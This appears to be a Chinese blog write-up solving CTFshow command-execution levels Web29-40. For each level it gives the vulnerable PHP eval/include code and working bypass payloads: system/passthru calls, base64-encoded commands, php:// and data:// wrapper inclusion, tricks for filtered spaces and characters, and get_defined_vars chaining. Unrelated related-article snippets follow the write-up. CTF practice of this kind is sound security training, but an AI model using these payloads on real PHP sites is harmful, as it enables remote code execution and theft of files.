CTFshow-命令执行(Web29-40)
CTFshow-命令执行(Web29-40)
CTFWeb-命令执行漏洞过滤的绕过姿势_绕过空格过滤-CSDN博客
总结rce(远程代码执行各种sao姿势)绕过bypass_远程命令执行绕过-CSDN博客
对比两者的源代码,我们发现,cat指令把flag.php的内容导出后依然遵循php的语法,那么没有echo语句,就无法显示,而tac指令将一切倒过来后:就不是php语句了,在html语句里就就会直接显示出来。
Web29
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){eval($c);}
}else{highlight_file(__FILE__);
}
执行恶意代码,做了过滤,preg_match当$c里有flag(不区分大小写/i) ,就返回1,不执行eval
?c=system(‘ls’);
flag.php index.php
?c=system(‘cat’);
-
直接执行系统命令
?c=system(“tac%20fla*”);
?c=system(“tac fla*”);利用tac与system结合,拿到flag
因为可以利用system来间接执行系统命令,如果flag不在当前目录,也可以利用?c=system(“ls”); 来查看到底在哪里。
-
内敛执行:
?c=echo%20
tac%20fla*; -
fliter读
https://ea17f469-c347-4866-aaad-05898730fd29.challenge.ctf.show/?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php -
/?c=system(“cat%20fl*g.php”);右键源码
-
?c=system(“cp fl*g.php a.txt”);
-
?c=eval($_GET[1]);&1=system(“tac%20flag.php”);
-
?c=system(base64_decode(‘Y2F0IGZsYWcucGhw’));
Web30
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php/i", $c)){eval($c);}
}else{highlight_file(__FILE__);
}
-
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[1];&1=php://filter/read=convert.base64-encode/resource=flag.php
-
?c=echo%20
tac%20fla*; ?c=echo%20cat%20fla*; -
?c=echo(
tac%20f*); -
?c=eval($_GET[1]);&1=system(“tac%20flag.php”);
-
?c=passthru(“tac%20fla*”); passthru跟exec,system差不多
-
https://e023300e-4277-465d-ab93-9747a4876361.challenge.ctf.show/?c=echo shell_exec("tac fla*"); -
?c=system(base64_decode(‘Y2F0IGZsYWcucGhw’));
ctfshow{8a58547f-7211-453b-9eba-9b9c4e85987b}
Web31
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){eval($c);}
}else{highlight_file(__FILE__);
}
- ?c=eval($_GET[a]);&a=system(“cat flag.php”);
- ?c=passthru(“tac%09f*”);
- ?c=passthru(base64_decode(“Y2F0IGZsYWcucGhw”));
Web32
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
- ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
其实两者的差距只在于一个%0a,改不改无所谓,下面解释各成分作用
- 首先是include+参数1,作用是包含参数1的文件,运用了文件包含漏洞,最后的文件名字可以改为/etc/passwd和nginx的日志文件来定位flag位置
- 然后是%0a作用,这是url回车符,因为空格被过滤。事实上,删去也无所谓,似乎php会自动给字符串和变量间添加空格(经检验,只在eval中有效,echo中无效,还是得要空格)
- 后面的?>的作用是作为绕过分号,作为语句的结束。原理是:php遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是php文件中最后一句在?>前可以不写分号。
- 在c中引用了参数1,然后&后对参数1定义,运用文件包含漏洞
- ?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>
Web33
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
- ?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>
- ?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
- ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
Web34
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){eval($c);}
}else{highlight_file(__FILE__);
}
- ?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>
- ?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
- ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
Web35
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){eval($c);}
}else{highlight_file(__FILE__);
}
- ?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>
- ?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
- ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
Web36
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){eval($c);}
}else{highlight_file(__FILE__);
}
- ?c=include$_GET[a]?>&a=data://text/plain,<?php system("tac flag.php")?>
- ?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
- ?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
Web37
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c);echo $flag;}
}else{highlight_file(__FILE__);
}
- ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/Pg==
- ?c=data://text/plain,<?php system("tac fla*.php")?>
include() 将 data:// 解释为PHP代码,会直接执行
?c=php://filter/read=convert.base64-encode/resource=flag.php不行,因为过滤了flag
在 PHP 中,include() 不仅能加载文件,还可以加载数据流(stream)。PHP 支持多种流包装器(Stream Wrapper),如:
data://- 直接包含原始数据php://- PHP的输入/输出流file://- 读取文件(通常默认使用这个)http://- 远程 HTTP 资源
- 这种方法也行,不够hackbar不支持直接在post data中不以键值对形式传送,所以得用burp抓包手动加

Web38
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|php|file/i", $c)){include($c);echo $flag;}}else{highlight_file(__FILE__);
}
把php,file也过来过滤了
直接?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/Pg==
Web39
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c.".php");}
}else{highlight_file(__FILE__);
}
?c=data://text/plain,<?php system("tac fla*.php")?>
Web40
<?php
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){eval($c);}
}else{highlight_file(__FILE__);
}
全过滤了,这里括号过滤的是中文括号
-
构造文件读取
localeconv():返回包含本地数字及货币信息格式的数组。其中数组中的第一个为点号(.)
pos():返回数组中的当前元素的值。current()与其相似。
scandir():获取目录下的文件。
array_reverse():数组逆序。
next():函数将内部指针指向数组中的下一个元素,并输出。
print_r():函数用于打印变量,作用对象是变量。
show_source():对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮,作用对象是文件。
highlight_file():跟show_source()类似。
- print_r(pos(localeconv()));
- print_r(scandir(pos(localeconv())));
- print_r((array_reverse(scandir(current(localeconv())))));
- show_source(next(array_reverse(scandir(current(localeconv())))));
- highlight_file(next(array_reverse(scandir(current(localeconv())))));
- echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));
-
构造数组+rce
get_defined_vars() :函数返回由所有已定义变量所组成的数组,包括URL屁股后面接的pay
array_pop() 函数删除数组中的最后一个元素。
reset用于将指向返回变量数组的指针指向第一个变量即c
next向前移动一位指针即pay,eval执行返回的值就是咱们定义的恶意代码
- print_r(get_defined_vars());
- ?c=eval(next(reset(get_defined_vars())));&pay=system(“tac flag.php”);
这里源码只定义了一个变量即c,加上引入的pay就两个变量值了


函数删除数组中的最后一个元素。
reset用于将指向返回变量数组的指针指向第一个变量即c
next向前移动一位指针即pay,eval执行返回的值就是咱们定义的恶意代码
- print_r(get_defined_vars());
- ?c=eval(next(reset(get_defined_vars())));&pay=system(“tac flag.php”);
这里源码只定义了一个变量即c,加上引入的pay就两个变量值了
[外链图片转存中…(img-CvyDaotT-1733923316562)]
[外链图片转存中…(img-biZkr7bS-1733923316562)]
相关文章:
CTFshow-命令执行(Web29-40)
CTFshow-命令执行(Web29-40) CTFWeb-命令执行漏洞过滤的绕过姿势_绕过空格过滤-CSDN博客 总结rce(远程代码执行各种sao姿势)绕过bypass_远程命令执行绕过-CSDN博客 对比两者的源代码,我们发现,cat指令把flag.php的内容导出后依…...
MySQL锁的类型有哪些
目录 共享锁(share lock): 排他锁(exclusivelock): 表锁(table lock): 行锁: 记录锁(Record lock): 页锁: 间隙锁: 基于锁的属性分类:共享锁,排他锁。 基于锁的粒…...
基于 JNI + Rust 实现一种高性能 Excel 导出方案(下篇)
衡量一个人是否幸福,不应看他有多少高兴的事,而应看他是否为小事烦扰。只有幸福的人,才会把无关痛痒的小事挂心上。那些真正经历巨大灾难和深重痛苦的人,根本无暇顾及这些小事的。因此人们往往在失去幸福之后,才会发现…...
关于Python程序消费Kafka消息不稳定问题的处理方法
在使用Python程序消费Kafka消息的过程中,有时会遇到各种不稳定的情况,如自动提交偏移量无效、CommitFailedError错误等。这些问题不仅影响了数据处理的可靠性,还可能导致重复消费或丢失消息。本文将针对这两个常见问题提供详细的解决方案和最…...
【OpenCV】Canny边缘检测
理论 Canny 边缘检测是一种流行的边缘检测算法。它是由 John F. Canny 在 1986 年提出。 这是一个多阶段算法,我们将介绍算法的每一个步骤。 降噪 由于边缘检测易受图像中的噪声影响,因此第一步是使用 5x5 高斯滤波器去除图像中的噪声。我们在前面的章…...
算法-二进制和位运算
一.二进制 (1).无符号数: 无符号数是一种数据表示方式,它只表示非负整数,即没有符号位,所有的位都用来表示数值大小。在 C 等编程语言中,常见的无符号类型有 unsigned int、unsigned char 等。…...
OpenAI Chatgpt 大语言模型
OpenAI 一个美国人工智能研究实验室,由非营利组织 OpenAI Inc,和其营利组织子公司 OpenAI LP 所组成。该组织于 2015 年由萨姆阿尔特曼、里德霍夫曼、杰西卡利文斯顿、伊隆马斯克、伊尔亚苏茨克维、沃伊切赫萨伦巴、彼得泰尔等人在旧金山成立࿰…...
SpringBoot【九】mybatis-plus之自定义sql零基础教学!
一、前言🔥 环境说明:Windows10 Idea2021.3.2 Jdk1.8 SpringBoot 2.3.1.RELEASE mybatis-plus的基本使用,前两期基本讲的差不多,够日常使用,但是有的小伙伴可能就会抱怨了,若是遇到业务逻辑比较复杂的sq…...
C#,人工智能,深度学习,目标检测,OpenCV级联分类器数据集的制作与《层级分类器一键生成器》源代码
一、目标识别技术概述 1、摘要 目标检测是计算机视觉中最基本和最具挑战性的问题之一,它试图从自然图像中的大量预定义类别中定位目标实例。深度学习技术已成为直接从数据中学习特征表示的强大策略,并在通用目标检测领域取得了显著突破。鉴于这一快速发…...
调度系统:Luigi 的主要特性和功能
Luigi 是一个开源的 Python 工作流管理工具,用于构建批处理作业管道,特别适用于数据工程领域。它被设计用来编排任务和处理任务间的依赖关系,支持自动化复杂的 ETL 流程、数据分析、模型训练等任务。 Luigi 的主要特性和功能: 任…...
C# 探险之旅:第二节 - 定义变量与变量赋值
欢迎再次踏上我们的C#学习之旅。今天,我们要聊一个超级重要又好玩的话题——定义变量与变量赋值。想象一下,你正站在一个魔法森林里,手里拿着一本空白的魔法书(其实就是你的代码编辑器),准备记录下各种神奇…...
AUTOSAR:SOME/IP 概念
文章目录 1. 用例与需求1.1 典型用例1.2 对中间件的要求 2. 协议栈示例3. SOME/IP 概念3.1 中间件整体功能与架构3.2 服务组成元素详细解释 4. 服务发现机制深入剖析5. 总结 1. 用例与需求 1.1 典型用例 信息娱乐系统: 后座娱乐系统连接:允许后排乘客连…...
循序渐进kubenetes Service(Cluster ip、Nodeport、Loadbalancer)
文章目录 部署一个web服务Kubernetes Port ForwardKubernetes ServicesClusterIP ServiceNodePort ServiceLoadBalancer Service 部署一个web服务 准备 Kubernetes 集群后,创建一个名为 web 的新 namespace,然后在该 namespace 中部署一个简单的 web 应…...
深入理解 Apache Shiro:安全框架全解析
亲爱的小伙伴们😘,在求知的漫漫旅途中,若你对深度学习的奥秘、JAVA 、PYTHON与SAP 的奇妙世界,亦或是读研论文的撰写攻略有所探寻🧐,那不妨给我一个小小的关注吧🥰。我会精心筹备,在…...
mac 安装CosyVoice (cpu版本)
CosyVoice 介绍 CosyVoice 是阿里研发的一个tts大模型 官方项目地址:https://github.com/FunAudioLLM/CosyVoice.git 下载项目(非官方) git clone --recursive https://github.com/v3ucn/CosyVoice_for_MacOs.git 进入项目 cd CosyVoic…...
币安移除铭文市场的深度解读:背后原因及其对区块链行业的影响
引言: 就在昨天,2024年12月10号,币安宣布将移除铭文市场(Inscriptions Market)。这一消息引发了全球加密货币社区的广泛关注,尤其是在比特币NFT和数字收藏品市场快速发展的背景下。铭文市场自诞生以来迅速…...
深度学习实战野生动物识别
本文采用YOLOv11作为核心算法框架,结合PyQt5构建用户界面,使用Python3进行开发。YOLOv11以其高效的实时检测能力,在多个目标检测任务中展现出卓越性能。本研究针对野生动物数据集进行训练和优化,该数据集包含丰富的野生动物图像样…...
windows安装使用conda
在Windows系统上安装和使用Conda的详细步骤如下: 一、下载Conda安装包 访问Conda的官方网站Anaconda | The Operating System for AI,点击“Downloads”按钮。在下载页面,选择适合您系统的安装包。通常,对于Windows系统…...
手机租赁系统开发全流程解析与实用指南
内容概要 在如今快速发展的科技时代,手机租赁系统已经成为一种新兴的商业模式,非常符合当下市场需求。那么,在开发这样一个系统的时候,首先要从需求分析和市场调研开始。在这一阶段,你需要了解用户需要什么࿰…...
SpringBoot 开发—— YAML文件深度分析
文章目录 一、YAML概述二、数据表示三、YAML 的语法四、YAML 的应用五、YAML 与其他格式的比较1、YAML vs .properties文件可读性和结构数据类型支持扩展性和灵活性使用场景性能和支持2、YAML vs. JSON3、YAML vs. XML六、使用 YAML 的注意事项七、总结YAML 是非常流行的一种配…...
HTML 语义化
目录 HTML 语义化HTML5 新特性HTML 语义化的好处语义化标签的使用场景最佳实践 HTML 语义化 HTML5 新特性 标准答案: 语义化标签: <header>:页头<nav>:导航<main>:主要内容<article>&#x…...
SCAU期末笔记 - 数据分析与数据挖掘题库解析
这门怎么题库答案不全啊日 来简单学一下子来 一、选择题(可多选) 将原始数据进行集成、变换、维度规约、数值规约是在以下哪个步骤的任务?(C) A. 频繁模式挖掘 B.分类和预测 C.数据预处理 D.数据流挖掘 A. 频繁模式挖掘:专注于发现数据中…...
高频面试之3Zookeeper
高频面试之3Zookeeper 文章目录 高频面试之3Zookeeper3.1 常用命令3.2 选举机制3.3 Zookeeper符合法则中哪两个?3.4 Zookeeper脑裂3.5 Zookeeper用来干嘛了 3.1 常用命令 ls、get、create、delete、deleteall3.2 选举机制 半数机制(过半机制࿰…...
2025盘古石杯决赛【手机取证】
前言 第三届盘古石杯国际电子数据取证大赛决赛 最后一题没有解出来,实在找不到,希望有大佬教一下我。 还有就会议时间,我感觉不是图片时间,因为在电脑看到是其他时间用老会议系统开的会。 手机取证 1、分析鸿蒙手机检材&#x…...
全面解析各类VPN技术:GRE、IPsec、L2TP、SSL与MPLS VPN对比
目录 引言 VPN技术概述 GRE VPN 3.1 GRE封装结构 3.2 GRE的应用场景 GRE over IPsec 4.1 GRE over IPsec封装结构 4.2 为什么使用GRE over IPsec? IPsec VPN 5.1 IPsec传输模式(Transport Mode) 5.2 IPsec隧道模式(Tunne…...
Android第十三次面试总结(四大 组件基础)
Activity生命周期和四大启动模式详解 一、Activity 生命周期 Activity 的生命周期由一系列回调方法组成,用于管理其创建、可见性、焦点和销毁过程。以下是核心方法及其调用时机: onCreate() 调用时机:Activity 首次创建时调用。…...
HashMap中的put方法执行流程(流程图)
1 put操作整体流程 HashMap 的 put 操作是其最核心的功能之一。在 JDK 1.8 及以后版本中,其主要逻辑封装在 putVal 这个内部方法中。整个过程大致如下: 初始判断与哈希计算: 首先,putVal 方法会检查当前的 table(也就…...
GitFlow 工作模式(详解)
今天再学项目的过程中遇到使用gitflow模式管理代码,因此进行学习并且发布关于gitflow的一些思考 Git与GitFlow模式 我们在写代码的时候通常会进行网上保存,无论是github还是gittee,都是一种基于git去保存代码的形式,这样保存代码…...
在鸿蒙HarmonyOS 5中使用DevEco Studio实现指南针功能
指南针功能是许多位置服务应用的基础功能之一。下面我将详细介绍如何在HarmonyOS 5中使用DevEco Studio实现指南针功能。 1. 开发环境准备 确保已安装DevEco Studio 3.1或更高版本确保项目使用的是HarmonyOS 5.0 SDK在项目的module.json5中配置必要的权限 2. 权限配置 在mo…...
Springboot 高校报修与互助平台小程序
一、前言 随着我国经济迅速发展,人们对手机的需求越来越大,各种手机软件也都在被广泛应用,但是对于手机进行数据信息管理,对于手机的各种软件也是备受用户的喜爱,高校报修与互助平台小程序被用户普遍使用,为…...
